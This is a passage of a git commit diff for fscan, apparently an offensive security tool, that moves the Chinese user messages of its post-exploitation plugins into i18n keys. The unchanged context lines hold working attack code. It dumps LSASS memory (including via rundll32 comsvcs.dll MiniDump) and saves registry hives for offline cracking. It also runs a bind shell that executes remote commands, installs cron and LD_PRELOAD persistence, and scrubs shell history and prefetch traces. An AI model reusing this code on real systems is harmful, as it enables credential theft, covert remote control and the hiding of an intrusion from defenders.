Expand i18n coverage

This commit is contained in:
ZacharyZcR
2026-05-23 15:18:40 +08:00
parent 9ed6cc95b6
commit 73cbe803c4
79 changed files with 2540 additions and 621 deletions
+3 -3
View File
@@ -58,7 +58,7 @@ func (p *CleanerPlugin) cleanFiles(output *strings.Builder, dir string, names []
for _, name := range names {
path := filepath.Join(dir, name)
if err := os.Remove(path); err == nil {
fmt.Fprintf(output, "[清理] %s\n", path)
fmt.Fprintln(output, i18n.Tr("cleaner_removed", path))
cleaned++
}
}
@@ -70,7 +70,7 @@ func (p *CleanerPlugin) cleanGlob(output *strings.Builder, dir, pattern string)
cleaned := 0
for _, f := range matches {
if err := os.Remove(f); err == nil {
fmt.Fprintf(output, "[清理] %s\n", f)
fmt.Fprintln(output, i18n.Tr("cleaner_removed", f))
cleaned++
}
}
@@ -87,7 +87,7 @@ func (p *CleanerPlugin) cleanUnix(output *strings.Builder) int {
}
for _, hf := range histFiles {
if p.scrubHistory(hf) {
fmt.Fprintf(output, "[清理] %s 中的 fscan 记录\n", hf)
fmt.Fprintln(output, i18n.Tr("cleaner_history_removed", hf))
cleaned++
}
}
+12 -10
View File
@@ -8,6 +8,8 @@ import (
"os/exec"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common/i18n"
)
func cleanPersistence(output *strings.Builder) int {
@@ -52,7 +54,7 @@ func fixWinlogon(output *strings.Builder) int {
val := extractRegValue(string(out))
if val != "explorer.exe" && val != "" {
exec.Command("reg", "add", key, "/v", "Shell", "/t", "REG_SZ", "/d", "explorer.exe", "/f").Run()
output.WriteString(fmt.Sprintf("[恢复] Winlogon Shell: %s → explorer.exe\n", val))
output.WriteString(i18n.Tr("cleaner_restore_winlogon_shell", val, "explorer.exe") + "\n")
cleaned++
}
}
@@ -63,7 +65,7 @@ func fixWinlogon(output *strings.Builder) int {
defaultVal := `C:\Windows\system32\userinit.exe,`
if val != defaultVal && val != strings.TrimSuffix(defaultVal, ",") && val != "" {
exec.Command("reg", "add", key, "/v", "Userinit", "/t", "REG_SZ", "/d", defaultVal, "/f").Run()
output.WriteString(fmt.Sprintf("[恢复] Winlogon Userinit: %s → %s\n", val, defaultVal))
output.WriteString(i18n.Tr("cleaner_restore_winlogon_userinit", val, defaultVal) + "\n")
cleaned++
}
}
@@ -77,7 +79,7 @@ func cleanIFEO(output *strings.Builder) int {
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t)
if out, err := exec.Command("reg", "query", key, "/v", "Debugger").CombinedOutput(); err == nil && strings.Contains(string(out), "Debugger") {
exec.Command("reg", "delete", key, "/f").Run()
output.WriteString(fmt.Sprintf("[清理] IFEO: %s\n", t))
output.WriteString(i18n.Tr("cleaner_ifeo_removed", t) + "\n")
cleaned++
}
}
@@ -104,7 +106,7 @@ func cleanRegistryRun(output *strings.Builder) int {
fields := strings.Fields(strings.TrimSpace(line))
if len(fields) > 0 {
exec.Command("reg", "delete", key, "/v", fields[0], "/f").Run()
output.WriteString(fmt.Sprintf("[清理] 注册表: %s\\%s\n", key, fields[0]))
output.WriteString(i18n.Tr("cleaner_registry_removed", key, fields[0]) + "\n")
cleaned++
}
break
@@ -129,7 +131,7 @@ func cleanScheduledTasks(output *strings.Builder) int {
if len(parts) > 0 {
name := strings.Trim(parts[0], "\"\\")
exec.Command("schtasks", "/delete", "/tn", name, "/f").Run()
output.WriteString(fmt.Sprintf("[清理] 计划任务: %s\n", name))
output.WriteString(i18n.Tr("cleaner_schtask_removed", name) + "\n")
cleaned++
}
break
@@ -152,7 +154,7 @@ func cleanServices(output *strings.Builder) int {
name := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "SERVICE_NAME:"))
exec.Command("sc", "stop", name).Run()
exec.Command("sc", "delete", name).Run()
output.WriteString(fmt.Sprintf("[清理] 服务: %s\n", name))
output.WriteString(i18n.Tr("cleaner_service_removed", name) + "\n")
cleaned++
}
}
@@ -170,7 +172,7 @@ func cleanStartupFolders(output *strings.Builder) int {
matches, _ := filepath.Glob(filepath.Join(dir, "test_payload*"))
for _, f := range matches {
if os.Remove(f) == nil {
output.WriteString(fmt.Sprintf("[清理] 启动文件夹: %s\n", f))
output.WriteString(i18n.Tr("cleaner_startup_removed", f) + "\n")
cleaned++
}
}
@@ -191,7 +193,7 @@ func cleanBITS(output *strings.Builder) int {
if end := strings.Index(line[idx:], "}"); end != -1 {
guid := line[idx : idx+end+1]
exec.Command("bitsadmin", "/cancel", guid).Run()
output.WriteString(fmt.Sprintf("[清理] BITS: %s\n", guid))
output.WriteString(i18n.Tr("cleaner_bits_removed", guid) + "\n")
cleaned++
}
}
@@ -210,7 +212,7 @@ Write-Output 'WMI_CLEANED'
`
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
if err == nil && strings.Contains(string(out), "WMI_CLEANED") {
output.WriteString("[清理] WMI 事件订阅\n")
output.WriteString(i18n.GetText("cleaner_wmi_removed") + "\n")
cleaned++
}
return cleaned
@@ -221,7 +223,7 @@ func cleanPrefetch(output *strings.Builder) int {
matches, _ := filepath.Glob(`C:\Windows\Prefetch\FSCAN*.pf`)
for _, f := range matches {
if os.Remove(f) == nil {
output.WriteString(fmt.Sprintf("[清理] Prefetch: %s\n", f))
output.WriteString(i18n.Tr("cleaner_prefetch_removed", f) + "\n")
cleaned++
}
}
+21 -21
View File
@@ -42,8 +42,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if runtime.GOOS != "linux" {
return &plugins.Result{
Success: false,
Output: "计划任务持久化只支持Linux平台",
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Output: i18n.GetText("crontask_linux_only"),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
@@ -52,8 +52,8 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if p.targetFile == "" {
return &plugins.Result{
Success: false,
Output: "必须通过 -persistence-file 参数指定目标文件路径",
Error: fmt.Errorf("未指定目标文件"),
Output: i18n.GetText("persistence_file_required"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
@@ -61,7 +61,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return &plugins.Result{
Success: false,
Output: fmt.Sprintf("目标文件不存在: %s", p.targetFile),
Output: i18n.Tr("target_file_not_exist", p.targetFile),
Error: err,
}
}
@@ -70,63 +70,63 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
if _, err := exec.LookPath("crontab"); err != nil {
return &plugins.Result{
Success: false,
Output: "crontab命令不可用",
Output: i18n.GetText("crontab_unavailable"),
Error: err,
}
}
output.WriteString("=== 计划任务持久化 ===\n")
fmt.Fprintf(&output, "目标文件: %s\n\n", p.targetFile)
output.WriteString(i18n.GetText("crontask_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n")
var successCount int
// 1. 复制文件到持久化目录
persistPath, err := p.copyToPersistPath()
if err != nil {
fmt.Fprintf(&output, "✗ 复制文件失败: %v\n", err)
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
} else {
fmt.Fprintf(&output, "✓ 文件已复制到: %s\n", persistPath)
output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n")
successCount++
}
// 2. 添加用户crontab任务
err = p.addUserCronJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加用户cron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加用户crontab任务\n")
output.WriteString(i18n.GetText("crontask_user_added") + "\n")
successCount++
}
// 3. 添加系统cron任务
systemCronFiles, err := p.addSystemCronJobs(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加系统cron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n")
} else {
fmt.Fprintf(&output, "✓ 已添加系统cron任务: %s\n", strings.Join(systemCronFiles, ", "))
output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n")
successCount++
}
// 4. 创建at任务
err = p.addAtJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加at任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加at延时任务\n")
output.WriteString(i18n.GetText("crontask_at_added") + "\n")
successCount++
}
// 5. 创建anacron任务
err = p.addAnacronJob(persistPath)
if err != nil {
fmt.Fprintf(&output, "✗ 添加anacron任务失败: %v\n", err)
output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加anacron任务\n")
output.WriteString(i18n.GetText("crontask_anacron_added") + "\n")
successCount++
}
// 输出统计
fmt.Fprintf(&output, "\n持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("crontask_success", successCount))
@@ -166,7 +166,7 @@ func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
}
if targetDir == "" {
return "", fmt.Errorf("无法创建持久化目录")
return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed"))
}
// 生成隐藏文件名
@@ -258,7 +258,7 @@ func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法创建任何系统cron任务")
return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none"))
}
return modified, nil
+10 -10
View File
@@ -48,14 +48,14 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
port = 4444
}
output.WriteString("=== 正向Shell服务器 ===\n")
fmt.Fprintf(&output, "监听端口: %d\n", port)
fmt.Fprintf(&output, "平台: %s\n\n", runtime.GOOS)
output.WriteString(i18n.GetText("forwardshell_header") + "\n")
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 启动正向Shell服务器
err := p.startForwardShellServer(ctx, port, state)
if err != nil {
fmt.Fprintf(&output, "正向Shell服务器错误: %v\n", err)
output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -63,7 +63,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
}
}
output.WriteString("✓ 正向Shell服务已完成\n")
output.WriteString(i18n.GetText("forwardshell_done") + "\n")
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
return &plugins.Result{
@@ -79,7 +79,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
}
defer func() { _ = listener.Close() }()
@@ -169,7 +169,7 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
_, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS)
_, _ = fmt.Fprintln(conn, i18n.Tr("unsupported_platform", runtime.GOOS))
return
}
@@ -182,18 +182,18 @@ func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
_, _ = conn.Write([]byte("命令执行超时\n"))
_, _ = conn.Write([]byte(i18n.GetText("command_timeout") + "\n"))
return
}
if err != nil {
_, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err)
_, _ = fmt.Fprintln(conn, i18n.Tr("command_exec_failed", err))
return
}
// 发送命令输出
if len(output) == 0 {
_, _ = conn.Write([]byte("(命令执行成功,无输出)\n"))
_, _ = conn.Write([]byte(i18n.GetText("command_success_no_output") + "\n"))
} else {
_, _ = conn.Write(output)
if !strings.HasSuffix(string(output), "\n") {
+23 -23
View File
@@ -46,13 +46,13 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
outputFile = "keylog.txt"
}
output.WriteString("=== 键盘记录 ===\n")
output.WriteString(fmt.Sprintf("输出文件: %s\n", outputFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("keylogger_header") + "\n")
output.WriteString(i18n.Tr("local_output_file", outputFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 检查输出文件权限
if err := p.checkOutputFilePermissions(outputFile); err != nil {
output.WriteString(fmt.Sprintf("输出文件权限检查失败: %v\n", err))
output.WriteString(i18n.Tr("keylogger_output_permission_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -62,7 +62,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 检查平台要求
if err := p.checkPlatformRequirements(); err != nil {
output.WriteString(fmt.Sprintf("平台要求检查失败: %v\n", err))
output.WriteString(i18n.Tr("platform_requirement_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -73,7 +73,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 启动键盘记录
err := p.startKeylogging(ctx, outputFile)
if err != nil {
output.WriteString(fmt.Sprintf("键盘记录失败: %v\n", err))
output.WriteString(i18n.Tr("keylogger_failed", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -82,9 +82,9 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
}
// 输出结果
output.WriteString("✓ 键盘记录已完成\n")
output.WriteString(fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer)))
output.WriteString(fmt.Sprintf("日志文件: %s\n", outputFile))
output.WriteString(i18n.GetText("keylogger_done") + "\n")
output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n")
output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n")
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
@@ -109,11 +109,11 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
case "darwin":
err = p.startDarwinKeylogging(ctx)
default:
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
err = fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
}
if err != nil {
return fmt.Errorf("键盘记录失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_failed_plain"), err)
}
// 保存到文件
@@ -128,7 +128,7 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
func (p *KeyloggerPlugin) checkOutputFilePermissions(outputFile string) error {
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
if err != nil {
return fmt.Errorf("无法创建输出文件 %s: %w", outputFile, err)
return fmt.Errorf("%s: %w", i18n.Tr("output_file_create_failed", outputFile), err)
}
_ = file.Close()
return nil
@@ -144,7 +144,7 @@ func (p *KeyloggerPlugin) checkPlatformRequirements() error {
case "darwin":
return p.checkDarwinRequirements()
default:
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
return fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS))
}
}
@@ -170,25 +170,25 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("无法打开输出文件: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err)
}
defer func() { _ = file.Close() }()
// 写入头部信息
header := "=== 键盘记录日志 ===\n"
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
header := i18n.GetText("keylogger_log_header") + "\n"
header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n"
header += i18n.Tr("local_platform", runtime.GOOS) + "\n"
header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n"
header += "========================\n\n"
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("写入头部信息失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("写入键盘记录失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err)
}
}
@@ -199,7 +199,7 @@ func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
// Windows平台键盘记录实现
// 在实际实现中需要使用Windows API
p.addKeyToBuffer("演示键盘记录 - Windows平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_windows"))
// 模拟记录一段时间
select {
@@ -215,7 +215,7 @@ func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
// Linux平台键盘记录实现
// 在实际实现中需要访问/dev/input/event*设备
p.addKeyToBuffer("演示键盘记录 - Linux平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_linux"))
// 模拟记录一段时间
select {
@@ -231,7 +231,7 @@ func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
// macOS平台键盘记录实现
// 在实际实现中需要使用Core Graphics框架
p.addKeyToBuffer("演示键盘记录 - macOS平台")
p.addKeyToBuffer(i18n.GetText("keylogger_demo_darwin"))
// 模拟记录一段时间
select {
+21 -21
View File
@@ -38,28 +38,28 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
output.WriteString(i18n.GetText("ldpreload_linux_only") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
// 从config获取配置
targetFile := config.PersistenceTargetFile
if targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -69,58 +69,58 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
// 检查文件类型
if !p.isValidFile(targetFile) {
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile))
output.WriteString(i18n.Tr("ldpreload_so_required", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("无效文件类型"),
Error: fmt.Errorf("%s", i18n.GetText("invalid_file_type")),
}
}
output.WriteString("=== LD_PRELOAD持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("ldpreload_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
var successCount int
// 1. 复制文件到系统目录
systemPath, err := p.copyToSystemPath(targetFile)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_copy_system_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
output.WriteString(i18n.Tr("file_copied_to", systemPath) + "\n")
successCount++
}
// 2. 添加到全局环境变量
err = p.addToEnvironment(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_env_add_failed", err) + "\n")
} else {
output.WriteString("✓ 已添加到全局环境变量\n")
output.WriteString(i18n.GetText("ldpreload_env_added") + "\n")
successCount++
}
// 3. 添加到shell配置文件
shellConfigs, err := p.addToShellConfigs(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_shell_add_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
output.WriteString(i18n.Tr("ldpreload_shell_added", strings.Join(shellConfigs, ", ")) + "\n")
successCount++
}
// 4. 创建库配置文件
err = p.createLdConfig(systemPath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
output.WriteString(i18n.Tr("ldpreload_config_create_failed", err) + "\n")
} else {
output.WriteString("✓ 已创建ld预加载配置\n")
output.WriteString(i18n.GetText("ldpreload_config_created") + "\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
@@ -154,7 +154,7 @@ func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) {
}
if targetDir == "" {
return "", fmt.Errorf("找不到合适的系统库目录")
return "", fmt.Errorf("%s", i18n.GetText("ldpreload_system_lib_dir_not_found"))
}
// 生成目标路径
@@ -252,7 +252,7 @@ func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
}
if len(modified) == 0 {
return nil, fmt.Errorf("无法修改任何shell配置文件")
return nil, fmt.Errorf("%s", i18n.GetText("ldpreload_shell_config_modify_none"))
}
return modified, nil
+40 -40
View File
@@ -96,11 +96,11 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
// 检查管理员权限
if !p.isAdmin() {
return &plugins.Result{Success: false, Output: "需要管理员权限\n", Error: errors.New("需要管理员权限")}
return &plugins.Result{Success: false, Output: i18n.GetText("minidump_admin_required") + "\n", Error: errors.New(i18n.GetText("minidump_admin_required"))}
}
if err := p.loadSystemDLLs(); err != nil {
return &plugins.Result{Success: false, Output: fmt.Sprintf("加载系统DLL失败: %v\n", err), Error: err}
return &plugins.Result{Success: false, Output: i18n.Tr("minidump_load_dll_failed", err) + "\n", Error: err}
}
defer p.releaseSystemDLLs()
@@ -109,39 +109,39 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
if !avActive {
output.WriteString("[*] 尝试直接内存转储...\n")
output.WriteString(i18n.GetText("minidump_try_direct") + "\n")
if ok := p.tryDirectDump(ctx, pm, &output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
} else {
output.WriteString("[*] 检测到杀软防护,跳过直接dump\n")
output.WriteString(i18n.GetText("minidump_av_skip_direct") + "\n")
}
// 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截)
output.WriteString("[*] 尝试 comsvcs.dll 方式...\n")
output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n")
if ok := p.tryComsvcsDump(pm, &output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
// 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS)
output.WriteString("[*] 尝试 reg save 导出注册表...\n")
output.WriteString(i18n.GetText("minidump_try_regsave") + "\n")
if ok := p.tryRegSave(&output); ok {
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
}
output.WriteString("[!] 所有方式均失败\n")
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New("所有凭据提取方式均失败")}
output.WriteString(i18n.GetText("minidump_all_failed") + "\n")
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))}
}
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
pid, err := pm.findProcess("lsass.exe")
if err != nil {
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
return false
}
if privErr := pm.elevatePrivileges(); privErr != nil {
output.WriteString(fmt.Sprintf(" 权限提升失败: %v\n", privErr))
output.WriteString(i18n.Tr("minidump_privilege_failed", privErr) + "\n")
return false
}
@@ -150,18 +150,18 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager,
defer cancel()
if err := pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath); err != nil {
output.WriteString(fmt.Sprintf(" 直接dump失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_direct_failed", err) + "\n")
os.Remove(outputPath)
return false
}
return p.reportSuccess(output, outputPath, "直接内存转储")
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"))
}
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
pid, err := pm.findProcess("lsass.exe")
if err != nil {
output.WriteString(fmt.Sprintf(" 查找lsass.exe失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
return false
}
@@ -171,7 +171,7 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil
cmd := exec.Command("rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll,", "MiniDump",
fmt.Sprintf("%d", pid), outputPath, "full")
if err := cmd.Run(); err != nil {
output.WriteString(fmt.Sprintf(" comsvcs.dll失败: %v\n", err))
output.WriteString(i18n.Tr("minidump_comsvcs_failed", err) + "\n")
return false
}
@@ -193,12 +193,12 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
saved++
}
} else {
output.WriteString(fmt.Sprintf(" ✗ %s 导出失败\n", hive))
output.WriteString(i18n.Tr("minidump_hive_export_failed", hive) + "\n")
}
}
if saved == 3 {
output.WriteString("[+] 注册表 hive 导出完成,可用 secretsdump 离线解析\n")
output.WriteString(i18n.GetText("minidump_regsave_done") + "\n")
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
return true
}
@@ -210,7 +210,7 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
if err != nil || fi.Size() == 0 {
return false
}
output.WriteString(fmt.Sprintf("[+] %s成功: %s (%d bytes)\n", method, path, fi.Size()))
output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n")
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
return true
}
@@ -219,17 +219,17 @@ func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method str
func (p *MiniDumpPlugin) loadSystemDLLs() error {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return fmt.Errorf("加载 kernel32.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "kernel32.dll"), err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "Dbghelp.dll"), err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return fmt.Errorf("加载 advapi32.dll 失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_load_named_dll_failed", "advapi32.dll"), err)
}
p.kernel32 = kernel32
@@ -285,14 +285,14 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) {
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateToolhelp32Snapshot"), err)
}
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
return 0, fmt.Errorf(i18n.GetText("minidump_snapshot_create_failed")+": %v (LastError: %d)", err, lastError)
}
return handle, nil
}
@@ -304,29 +304,29 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
if err != nil {
return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32FirstW"), err)
}
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
if err != nil {
